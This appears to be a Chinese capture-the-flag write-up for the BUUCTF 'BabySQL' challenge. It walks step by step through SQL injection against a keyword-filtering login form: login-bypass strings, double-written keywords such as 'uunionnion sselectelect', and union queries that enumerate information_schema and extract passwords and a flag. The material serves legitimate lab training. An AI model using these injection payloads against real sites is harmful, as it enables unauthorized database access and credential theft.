当前位置: 首页 > news >正文

2025.1.16——六、BabySQL 双写绕过|联合注入

题目来源:buuctf [极客大挑战 2019]BabySQL 1

目录

一、打开靶机,分析已知信息

二、手工注入解题

step 1:万能密码

step 2:正常注入,判断字段数

step 3:绕过

step 4:查数据库

step 5:查表名

step 6:查列名

step 7:查数据

三、小结

1.绕过方式

2.查数据库名和表名可以合二为一


一、打开靶机,分析已知信息

        仍为SQL注入系列,提示:有关键字过滤

二、手工注入解题

step 1:万能密码

username=admin&password=admin' or '1'='1

username=admin'&password=admin or '1'='1

发现万能密码失效了,两种密码结果不同是因为的单引号位置不同,导致闭合情况不同

step 2:正常注入,判断字段数

username=1' order by 3%23&password=1

发现or和by都被过滤了

再用

username=admin&password=1' union select 1,where

发现union select where 都被过滤了

过滤:有可能用函数将这些关键字替换成了空白字符

所以要进行绕过

step 3:绕过

        尝试过后发现大小写绕过失效,所以尝试双写绕过,没问题,则利用双写关键字进行注入

        但这里order by还是无法使用,所以用联合查询直接进行尝试

1.尝试两个字段

username=admin&password=1' uunionnion sselectelect 1,2%23

出现错误,有可能列数错误,继续尝试

2.尝试三个字段

username=admin&password=1' uunionnion sselectelect 1,2,3%23

回显正常了,且回显点为2,3位置

step 4:查数据库

username=admin&password=1' uunionnion sselectelect 1,2,database()%23

        数据库名为geek

step 5:查表名

username=admin&password=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'%23

        得到表名b4bsql

step 6:查列名

username=admin&password=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

        其中password很可疑

step 7:查数据

username=admin&password=1' uunionnion sselectelect 1,2,group_concat(passwoorrd) ffromrom geek.b4bsql%23

从源码中得具体信息:flag{14a8c091-b278-4155-a56e-c663801feb59}

三、小结

1.绕过方式

如大小写绕过,双写绕过(双关键字绕过,如Uunionnion,第一个字母后跟原关键字)

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

2.查数据库名和表名可以合二为一

如:username=admin&password=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

http://www.lryc.cn/news/522522.html

相关文章:

  • Spring Boot 下的Swagger 3.0 与 Swagger 2.0 的详细对比
  • 【已解决】git clone报错:Failed to connect to github.com port 443: Timed out
  • Qt 程序 DPI 适配方法归纳
  • AI刷题-小R的随机播放顺序、不同整数的计数问题
  • windows 极速安装 Linux (Ubuntu)-- 无需虚拟机
  • 【影刀_常规任务计划_API调用】
  • 参数校验 Spring Validation框架
  • Spring Boot 基础入门指南
  • doc、pdf转markdown
  • 基于 HTML5 Canvas 制作一个精美的 2048 小游戏--day 1
  • 知识图谱入门(一)
  • springboot项目-基础数据回显
  • LabVIEW实现油浸式变压器自主监测与实时报告
  • K8S 亲和性与反亲和性 深度好文
  • 关于php语言api接口开发的流程
  • 医疗集群系统中基于超融合数据库架构的应用与前景探析
  • 浅谈云计算15 | 存储可靠性技术(RAID)
  • 43.Textbox的数据绑定 C#例子 WPF例子
  • LLM大语言模型的分类
  • 【北京迅为】iTOP-4412全能版使用手册-第八十七章 安装Android Studio
  • 【深度学习】神经网络之Softmax
  • 容器渗透横向
  • 黑马Java面试教程_P1_导学与准备篇
  • 《自动驾驶与机器人中的SLAM技术》ch4:预积分学
  • Docker部署MySQL 5.7:持久化数据的实战技巧
  • Spring框架 了解
  • 低代码独特架构带来的编译难点及多线程解决方案
  • 如何使用Ultralytics训练自己的yolo5 yolo8 yolo10 yolo11等目标检测模型
  • Java技术栈 —— Andorid开发入门
  • Qt天气预报系统获取天气数据